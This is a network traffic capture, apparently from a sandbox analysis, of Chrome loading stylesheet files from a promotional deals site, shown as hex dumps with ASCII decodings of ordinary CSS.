2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 7d 7d 2e 77 6f 62 62 6c 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 77 6f 62 62 6c 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 77 6f 62 62 6c 65 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 6a 65 6c 6c 6f 7b 66 72 6f 6d 2c 31 31 2e 31 25 2c 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 7d 32 32 2e 32 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 58 28 2d 31 32 2e 35 64 65 67 29 20 73 6b 65 77 59 28 2d 31 32 2e 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 6b Data Ascii: m:translate3d(0,0,0)}}.wobble{-webkit-animation-name:wobble;animation-name:wobble}@-webkit-keyframes jello{from,11.1%,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}22.2%{-webkit-transform:skewX(-12.5deg) skewY(-12.5deg);transform:sk
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 58 28 31 2e 35 36 32 35 64 65 67 29 20 73 6b 65 77 59 28 31 2e 35 36 32 35 64 65 67 29 7d 36 36 2e 36 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 58 28 2d 30 2e 37 38 31 32 35 64 65 67 29 20 73 6b 65 77 59 28 2d 30 2e 37 38 31 32 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 58 28 2d 30 2e 37 38 31 32 35 64 65 67 29 20 73 6b 65 77 59 28 2d 30 2e 37 38 31 32 35 64 65 67 29 7d 37 37 2e 37 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 58 28 30 2e 33 39 30 36 32 35 64 65 67 29 20 73 6b 65 77 59 28 30 2e 33 39 30 36 32 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 58 28 30 2e 33 39 30 36 32 35 64 65 67 29 20 73 6b 65 77 59 28 30 2e Data Ascii: );transform:skewX(1.5625deg) skewY(1.5625deg)}66.6%{-webkit-transform:skewX(-0.78125deg) skewY(-0.78125deg);transform:skewX(-0.78125deg) skewY(-0.78125deg)}77.7%{-webkit-transform:skewX(0.390625deg) skewY(0.390625deg);transform:skewX(0.390625deg) skewY(0.
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 65 72 28 2e 32 31 35 2c 2e 36 31 2c 2e 33 35 35 2c 31 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 31 35 2c 2e 36 31 2c 2e 33 35 35 2c 31 29 7d 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 2e 33 2c 2e 33 2c 2e 33 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 2e 33 2c 2e 33 2c 2e 33 29 7d 32 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2e 31 2c 31 2e 31 2c 31 2e 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2e 31 2c 31 2e 31 2c 31 2e 31 29 7d 34 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 Data Ascii: er(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49816	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:49 UTC	783	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/custom.css HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:49 UTC	743	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:49 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60154 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G1jdAdS29qwJ92%2FFo%2BNJXsJeLMOezIfWO6migpzb%2BrQi6BxSnUyHjrqyEUbtYogRqmthuGyR3a3myWVQ%2BmwovxEnRjJN3TUBWtDBCjqRFvQOewFUjukXS6r%2B6F0wym2KoXrGyJOyNCXQtlmw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce4188cba79e04-EWR
2024-10-03 16:19:49 UTC	626	IN	Data Raw: 32 64 30 0d 0a 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 7b 63 6f 6c 6f 72 3a 72 65 64 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 70 78 7d 2e 6c 6f 61 64 69 6e 67 5f 6d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 20 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 39 20 29 20 75 72 6c 28 2e 2e 2f 69 6d 67 2f 70 72 6f 63 65 73 73 69 6e 67 2e 67 69 66 29 20 35 30 25 20 35 30 25 20 6e 6f 2d 72 65 70 65 61 74 7d 62 6f 64 79 2e 6c 6f 61 64 69 6e 67 Data Ascii: 2d0.error-message{color:red;font-size:14px;float:left;margin-bottom:3px}.loading_m{display:none;position:fixed;z-index:100000;top:0;left:0;height:100%;width:100%;background:rgba( 255,255,255,.9 ) url(../img/processing.gif) 50% 50% no-repeat}body.loading
2024-10-03 16:19:49 UTC	101	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 73 65 6c 65 63 74 2c 20 69 6e 70 75 74 20 7b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 33 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 32 38 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a Data Ascii: !important;}select, input { height: 38px !important; padding-right: 28px !important;}
2024-10-03 16:19:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	49822	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:49 UTC	781	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/app2.css HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:49 UTC	741	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:49 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60154 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5HvWxTv5rDGTgHEVfKBzbxER71fu%2FvhCVmL06ULzXNP6cxEsDn0Q9OxZ8TM9gDozbkNoqRC56Q58gVOUj%2FeeDuDG7JBTA7rXx7FXUaj9wsHbe207aheB%2BL2HPdJ0FZssmowd3n1ryRrzA%2Baw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41891dd60c76-EWR
2024-10-03 16:19:49 UTC	628	IN	Data Raw: 32 31 36 33 0d 0a 2e 63 6c 65 61 72 2c 0d 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0d 0a 09 63 6c 65 61 72 3a 20 62 6f 74 68 0d 0a 7d 0d 0a 61 20 69 6d 67 2c 0d 0a 69 6d 67 20 7b 0d 0a 09 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 30 25 0d 0a 7d 0d 0a 62 6f 64 79 20 7b 0d 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 0d 0a 7d 0d 0a 6c 69 2c 0d 0a 75 6c 20 7b 0d 0a 09 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 20 6e 6f 6e 65 0d 0a 7d 0d 0a 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 20 21 69 6d 70 Data Ascii: 2163.clear,.clearfix:after {clear: both}a img,img {height: auto;max-width: 100%}body {margin: 0;padding: 0;font-family: Arial, sans-serif;font-size: 15px}li,ul {list-style-type: none}ul{margin-bottom: 0 !imp
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 20 7b 0d 0a 09 62 6f 72 64 65 72 3a 20 30 0d 0a 7d 0d 0a 2e 74 65 78 74 2d 6c 65 66 74 20 7b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 0d 0a 7d 0d 0a 2e 74 65 78 74 2d 72 69 67 68 74 20 7b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 0d 0a 7d 0d 0a 2e 74 65 78 74 2d 63 65 6e 74 65 72 20 7b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 0d 0a 7d 0d 0a 2e 74 65 78 74 2d 6a 75 73 74 69 66 79 20 7b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6a 75 73 74 69 66 79 0d 0a 7d 0d 0a 2e 63 6f 6e 66 69 67 2d 65 72 72 6f 72 73 20 68 33 20 7b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 30 3b 0d 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 0d 0a 7d 0d 0a 2e 63 6f 6e 66 69 67 2d 65 72 72 6f 72 73 20 75 6c 20 7b 0d 0a 09 70 Data Ascii: {border: 0}.text-left {text-align: left}.text-right {text-align: right}.text-center {text-align: center}.text-justify {text-align: justify}.config-errors h3 {padding: 10px 0;margin: 5px}.config-errors ul {p
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 65 0d 0a 7d 0d 0a 69 6e 70 75 74 2e 68 61 73 2d 65 72 72 6f 72 2c 0d 0a 73 65 6c 65 63 74 2e 68 61 73 2d 65 72 72 6f 72 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2d 69 6e 70 75 74 5f 31 2e 70 6e 67 29 20 39 39 2e 35 25 20 35 30 25 20 6e 6f 2d 72 65 70 65 61 74 20 23 66 66 66 3b 0d 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 6f 72 61 6e 67 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 2d 6d 6f 7a 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 2d 6f 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 61 70 70 65 61 72 61 6e 63 65 3a 20 6e Data Ascii: e}input.has-error,select.has-error {background: url(../images/error-input_1.png) 99.5% 50% no-repeat #fff;border: 1px solid orange !important; -webkit-appearance: none; -moz-appearance: none; -o-appearance: none; appearance: n
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 6c 74 20 7b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 31 35 70 78 0d 0a 7d 0d 0a 2e 64 65 66 75 6c 74 20 66 6f 72 6d 20 6c 61 62 65 6c 20 7b 0d 0a 09 77 69 64 74 68 3a 20 31 37 35 70 78 3b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 0d 0a 7d 0d 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 0d 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 0d 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 0d 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 0d 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 0d 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 Data Ascii: lt {padding: 10px 15px}.defult form label {width: 175px;display: inline-block}.defult input[type=text],.defult input[type=search],.defult input[type=number],.defult input[type=password],.defult input[type=tel],.defult input[type
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 29 0d 0a 09 7d 0d 0a 09 31 30 30 25 20 7b 0d 0a 09 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 29 3b 0d 0a 09 09 6f 70 61 63 69 74 79 3a 20 30 0d 0a 09 7d 0d 0a 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 6f 75 74 20 7b 0d 0a 09 30 25 20 7b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 29 3b 0d 0a 09 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 29 0d 0a 09 7d 0d 0a 09 31 30 30 25 20 7b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 29 3b 0d 0a 09 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 29 3b 0d 0a 09 09 6f 70 61 63 69 74 79 3a 20 Data Ascii: it-transform: scale(0)}100% {-webkit-transform: scale(1);opacity: 0}}@keyframes scaleout {0% {transform: scale(0);-webkit-transform: scale(0)}100% {transform: scale(1);-webkit-transform: scale(1);opacity:
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 7d 0d 0a 2e 61 73 6b 2d 63 65 6c 6c 7b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 35 45 36 34 37 33 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 35 70 78 3b 0d 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 7d 0d 0a 2e 66 6f 72 6d 2d 72 6f 77 7b 0d 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0d 0a 7d 0d 0a 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2e 66 6f 72 6d 2d 69 6e 70 75 74 2c 20 0d 0a 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2e 66 6f 72 6d 2d 69 6e 70 75 74 2c 20 0d 0a 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2e 66 6f 72 6d 2d 69 6e 70 75 74 2c 20 0d 0a 69 6e 70 75 74 5b Data Ascii: -align: center;}.ask-cell{color: #5E6473;font-size: 15px;margin-bottom: 15px;cursor: pointer;}.form-row{margin-bottom: 20px;}input[type=text].form-input, input[type=search].form-input, input[type=number].form-input, input[
2024-10-03 16:19:49 UTC	1082	IN	Data Raw: 0a 09 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 0d 0a 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 39 34 2c 20 31 30 30 2c 20 31 31 35 2c 20 30 29 3b 0d 0a 09 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 20 23 35 45 36 34 37 33 3b 0d 0a 09 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 36 70 78 3b 0d 0a 7d 0d 0a 2e 69 6e 66 6f 2d 63 65 6c 6c 3a 68 6f 76 65 72 20 2e 74 6f 6f 6c 74 69 70 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 7d 0d 0a 2e 74 6f 6f 6c 74 69 70 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 35 70 78 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 Data Ascii: pointer-events: none;border-color: rgba(94, 100, 115, 0);border-top-color: #5E6473;border-width: 6px;}.info-cell:hover .tooltip{display: block;}.tooltip{position: absolute;border: 1px solid #ddd;padding: 5px;font-size: 12
2024-10-03 16:19:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.16	49823	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:49 UTC	783	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/appear.css HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:49 UTC	745	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:49 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60154 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vEtFz4uB3WJDDK%2BeRozrj7KskJn9EMjlCra6ALHY4t%2FsrLJe9K82N%2F65zeKlLUTWrFTObyrbzuCUaiixY%2BCtzmNFmkJXhEKO7%2BDkloQcWqaXlepd19Jw37Ur6Xdbm6dVdf%2FUAP41alhfdK5r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce418cbca6c3f3-EWR
2024-10-03 16:19:49 UTC	624	IN	Data Raw: 31 30 65 30 0d 0a 62 75 74 74 6f 6e 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2e 68 69 64 64 65 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2e 63 6c 65 61 72 2c 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 0a 7d 0a 0a 61 20 69 6d 67 2c 0a 69 6d 67 20 7b 0a 20 20 2f 2a 20 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 2a 2f 0a 20 20 2f 2a 20 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 20 2a 2f 0a 7d 0a 0a 62 6f 64 79 20 7b 0a 20 20 2f 2a 20 6d 61 72 67 69 6e 3a 30 3b 20 2a 2f 0a 20 20 2f 2a 20 70 61 64 64 69 6e 67 3a 30 3b 20 2a 2f 0a 20 20 2f 2a 20 66 Data Ascii: 10e0button { border: none; background: none; outline: none;}.hidden { display: none;}.clear,.clearfix:after { clear: both}a img,img { /* height:auto; / / max-width:100%; /}body { / margin:0; / / padding:0; / / f
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 0a 7d 0a 0a 61 20 69 6d 67 2c 0a 69 6d 67 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 30 0a 7d 0a 0a 2e 74 65 78 74 2d 6c 65 66 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 0a 7d 0a 0a 2e 74 65 78 74 2d 72 69 67 68 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 0a 7d 0a 0a 2e 74 65 78 74 2d 63 65 6e 74 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 0a 7d 0a 0a 2e 74 65 78 74 2d 6a 75 73 74 69 66 79 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6a 75 73 74 69 66 79 0a 7d 0a 0a 2e 63 6f 6e 66 69 67 2d 65 72 72 6f 72 73 20 68 33 20 7b 0a 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 30 3b 0a 20 20 Data Ascii: rgin: 0 auto; display: block}a img,img { border: 0}.text-left { text-align: left}.text-right { text-align: right}.text-center { text-align: center}.text-justify { text-align: justify}.config-errors h3 { padding: 10px 0;
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 6f 72 61 6e 67 65 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 20 2d 6d 6f 7a 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 20 2d 6f 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 20 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 69 6e 70 75 74 2e 6e 6f 2d 65 72 72 6f 72 2c 0a 73 65 6c 65 63 74 2e 6e 6f 2d 65 72 72 6f 72 20 7b 0a 20 20 2f 2a 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 74 69 63 6b 2d 69 6e 70 75 74 2e 70 6e 67 29 20 39 39 2e 35 25 20 35 30 25 20 6e 6f 2d 72 65 70 65 61 74 20 23 66 66 66 3b 20 2a 2f 0a 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f Data Ascii: border: 1px solid orange; -webkit-appearance: none; -moz-appearance: none; -o-appearance: none; appearance: none;}input.no-error,select.no-error { /* background: url(../images/tick-input.png) 99.5% 50% no-repeat #fff; */ border: 1px so
2024-10-03 16:19:49 UTC	966	IN	Data Raw: 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 0a 2e 64 65 66 75 6c 74 20 73 65 6c 65 63 74 2c 0a 2e 64 65 66 75 6c 74 20 74 65 78 74 61 72 65 61 20 7b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 32 37 35 70 78 0a 7d 0a 0a 2e 64 65 66 75 6c 74 20 2e 62 75 74 74 6f 6e 2c 0a 2e 64 65 66 75 6c 74 20 62 75 74 74 6f 6e 2c 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2c 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 20 7b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 34 35 30 70 78 0a 7d 0a 0a 2e 61 6c 6c 2d 63 61 72 64 2d 74 79 70 65 73 20 6c 69 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 32 30 70 78 0a 7d 0a 0a 23 6c 6f 61 64 69 6e 67 2d 69 Data Ascii: ut[type=email],.defult select,.defult textarea { max-width: 275px}.defult .button,.defult button,.defult input[type=button],.defult input[type=submit] { max-width: 450px}.all-card-types li { float: left; margin-right: 20px}#loading-i
2024-10-03 16:19:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	49824	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

